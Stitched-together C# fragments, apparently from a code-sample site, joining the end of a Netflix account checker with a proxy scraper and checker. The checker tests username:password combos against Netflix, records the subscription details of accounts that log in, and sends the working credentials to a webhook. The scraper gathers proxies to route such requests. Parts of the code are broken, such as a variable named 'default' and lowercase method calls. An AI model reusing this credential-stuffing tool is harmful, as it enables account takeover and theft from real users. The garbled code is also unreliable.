                                    req.AddHeader("Sec-Fetch-Site", "same-origin");
                                    req.AddHeader("Sec-Fetch-User", "?1");
                                    req.AddHeader("Upgrade-Insecure-Requests", "1");
                                    req.UserAgent =
                                        "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1";
                                    var strResponse = req.Get(new Uri("https://www.netflix.com/YourAccount"))
                                                      .ToString();

                                    if (strResponse.Contains("currentPlanName\""))
                                    {
                                        var Sub     = Parse(strResponse, "\"currentPlanName\":\"", "\"");
                                        var plan    = Parse(strResponse, ",\"planDuration\":\"", "\",\"localizedPlanName");
                                        var trial   = Parse(strResponse, "\"isInFreeTrial\":", ",");
                                        var Country = Parse(strResponse, "\",\"currentCountry\":\"", "\"");

                                        var capture =
                                            $"Suubscription: {Sub} - Plan: {plan} - Trial: {trial} - Country: {Country}";
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("NETFLIX", array[0] + ":" + array[1] + capture);
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(array[0] + ":" + array[1],
                                                                    "NETFLIX");
                                        }
                                    }
                                }
                                else if (post.Contains("never_member_consumption_only"))
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintFree("NETFLIX", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1],
                                                                "NETFLIX Frees");
                                    }
                                }
                                else if (post.Contains("former_member_consumption_only"))
                                {
                                    Program.Others++;
                                    Program.TotalChecks++;
                                }
                            }
                            else
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
        public static void start(string[] args)
        {
            for (; ;)
            {
                Console.WriteLine("Which Type do you want to check? Http/socks4/socks5");
                Program.type = Console.ReadLine().ToLower();
                bool check = Program.type.Contains("http") || Program.type.Contains("socks4") || Program.type.Contains("socks5");
                if (check)
                {
                    break;
                }
                Console.WriteLine("Unknown type..");
                Thread.Sleep(100);
                Program.Main(args);
            }
            Console.Clear();
            if (!Directory.Exists("Results"))
            {
                Directory.CreateDirectory("Results");
            }
            // Checks if Directory exists..
            if (!Directory.Exists(Program.folder))
            {
                Directory.CreateDirectory(Program.folder);
            }
            // Checks if proxy.txt exits
            if (!File.Exists("Sources.txt"))
            {
                var file = File.Create("Sources.txt");
                file.Close();
            }

            if (!File.Exists("Config.json"))
            {
                var httpRequest = new Leaf.xNet.HttpRequest();
                configdefault = httpRequest.Get("https://data.vanix.site/TKtmyfKCgy7R7uvh.html", null).ToString();
                var file = File.Create("Config.json");
                file.Close();
                using (StreamWriter writer = new StreamWriter("Config.json"))
                {
                    writer.Write(configdefault);
                }
            }
            // We are using Regex for the Config.json because i am a retard.
            Regex Checker        = new Regex("  \"Checker\":\"(.*?)\",");
            Regex Colors         = new Regex("  \"Color\":\"(.*?)\",");
            Regex Failed_Console = new Regex("  \"Write Failed_hits on console\":\"(.*?)\",");

            using (StreamReader r = new StreamReader("Config.json"))
            {
                string line;
                while ((line = r.ReadLine()) != null)
                {
                    Match Checker_match        = Checker.Match(line);
                    Match Colors_match         = Colors.Match(line);
                    Match Failed_Console_Match = Failed_Console.Match(line);
                    if (Checker_match.Success)
                    {
                        checker = Checker_match.Groups[1].Value;
                    }
                    if (Colors_match.Success)
                    {
                        color = Colors_match.Groups[1].Value;
                    }
                    if (Failed_Console_Match.Success)
                    {
                        Failed_WriteOn_Console = Failed_Console_Match.Groups[1].Value;
                    }
                }
            }
            // Starting Discord RPC...
            DiscordRPC.RPC();
            // Check if the proxy.txt contains something..
            if (new FileInfo("Sources.txt").Length == 0)
            {
                Console.Clear();
                Console.WriteLine("File is empty!! [ DOWNLOADING DEFAULT SOURCE ] ", Color.DarkMagenta);
                var httpRequest = new Leaf.xNet.HttpRequest();
                string default = httpRequest.get("https://raw.githubusercontent.com/Vanix-k3rnel/Proxy-Scraper-and-checker-in-1/main/Sources.txt").toString();
Пример #30
0
        public static void Main(string[] args)
        {
            var web = new System.Net.WebClient();

            Console.Title = "[Proxy scraper and checker] - Created by Vanix#2014";
            // Going to Startup.cs
            Startup.start(args);
            // Write Logo on the console
            check_if_its_on = Startup.checker.ToLower().Contains("on");
            Design.Logo();
            if (check_if_its_on)
            {
                Console.Write("[");
                Console.Write("CHECKER SYSTEM", Color.FromName(Startup.color));
                Console.Write("] ");
                Console.Write(" Status: ");
                Console.WriteLine("On ", Color.Green);
                Console.WriteLine();
            }
            else
            {
                Console.Write("[");
                Console.Write("CHECKER SYSTEM", Color.FromName(Startup.color));
                Console.Write("] ");
                Console.Write(" Status: ");
                Console.WriteLine("Off ", Color.Red);
                Console.WriteLine();
            }
            int count = 0;

            foreach (string line in File.ReadLines("Sources.txt"))
            {
                string req = "";
                Console.Title = $"[Proxy scraper/checker] - Url:  {line} - Counter: {count} - Created by Vanix#9999";
                var httpRequest = new Leaf.xNet.HttpRequest();
                try
                {
                    req = httpRequest.Get(line, null).ToString();
                }
                catch (Exception)
                {
                    File.AppendAllText(folder + "\\Bad URL.txt", line + "\n");
                }
                if (check_if_its_on)
                {
                    try
                    {
                        foreach (object val in new Regex("(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})(?=[^\\d])\\s*:?\\s*(\\d{2,5})").Matches(req))
                        {
                            Match Proxies = (Match)val;
                            File.AppendAllText(folder + "\\Proxies-ALL.txt", Proxies.Value + "\n");
                            try
                            {
                                if (type.Contains("http"))
                                {
                                    httpRequest.Proxy = HttpProxyClient.Parse(Proxies.Value);
                                }

                                if (type.Contains("socks4"))
                                {
                                    httpRequest.Proxy = Socks4ProxyClient.Parse(Proxies.Value);
                                }

                                if (type.Contains("socks5"))
                                {
                                    httpRequest.Proxy = Socks5ProxyClient.Parse(Proxies.Value);
                                }
                                httpRequest.Proxy = httpRequest.Proxy;
                                httpRequest.IgnoreProtocolErrors = true;
                                httpRequest.UserAgent            = Http.ChromeUserAgent();
                                string text2  = httpRequest.Get("http://ip-api.com/json/", null).ToString();
                                string region = "";
                                string isp    = string.empty;
                                if (text2.Contains("\"status\":\"success\""))
                                {
                                    location = Regex.Match(text2, "\"countryCode\":\"(.*?)\"").Groups[1].Value.ToString();
                                    region   = Regex.Match(text2, "\"regionName\":\"(.*?)\"").Groups[1].Value.ToString();
                                    isp      = Regex.Match(text2, "\"isp\":\"(.*?)\"").Groups[1].Value.ToString();
                                    //-------------------
                                    Console.Write("[");
                                    Console.Write("+", Color.FromName(Startup.color));
                                    Console.Write("] ");
                                    Console.Write(Proxies.Value, Color.White);
                                    Console.Write(" Status: ");
                                    Console.Write("Success ", Color.Green);
                                    Console.Write(" - Location: ");
                                    Console.Write(location, Color.Green);
                                    Console.Write(" - Region: ");
                                    Console.Write(region, Color.Green);
                                    Console.Write(" - Isp: ");
                                    Console.WriteLine(isp, Color.Green);
                                    //-------------------
                                    File.AppendAllText(folder + "\\Good proxies.txt", Proxies.Value + "\n");
                                }
                            }
                            catch (Exception)
                            {
                                if (Startup.Failed_WriteOn_Console.ToLower().Contains("on"))
                                {
                                    //-------------------
                                    Console.Write("[");
                                    Console.Write("-", Color.DarkRed);
                                    Console.Write("] ");
                                    Console.Write(Proxies.Value, Color.White);
                                    Console.Write(" Status: ");
                                    Console.WriteLine("Failed", Color.DarkRed);
                                    //-------------------
                                }
                                File.AppendAllText(folder + "\\Bad proxies.txt", Proxies.Value + "\n");
                            }
                        }
                    }
                    catch (Exception)
                    {
                    }
                }
                else
                {
                    try
                    {
                        count++;
                        foreach (object val in new Regex("(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})(?=[^\\d])\\s*:?\\s*(\\d{2,5})").Matches(req))
                        {
                            Match Proxies = (Match)val;
                            File.AppendAllText(folder + "\\All proxies.txt", Proxies.Value + "\n");
                            Console.Write("[");
                            Console.Write("+", Color.FromName(Startup.color));
                            Console.Write("] ");
                            Console.WriteLine(Proxies.Value, Color.White);
                        }
                    }
                    catch (Exception)
                    {
                    }
                }
            }
            Console.WriteLine("Done", Color.Green);
            Console.ReadLine();
            Environment.Exit(1);
        }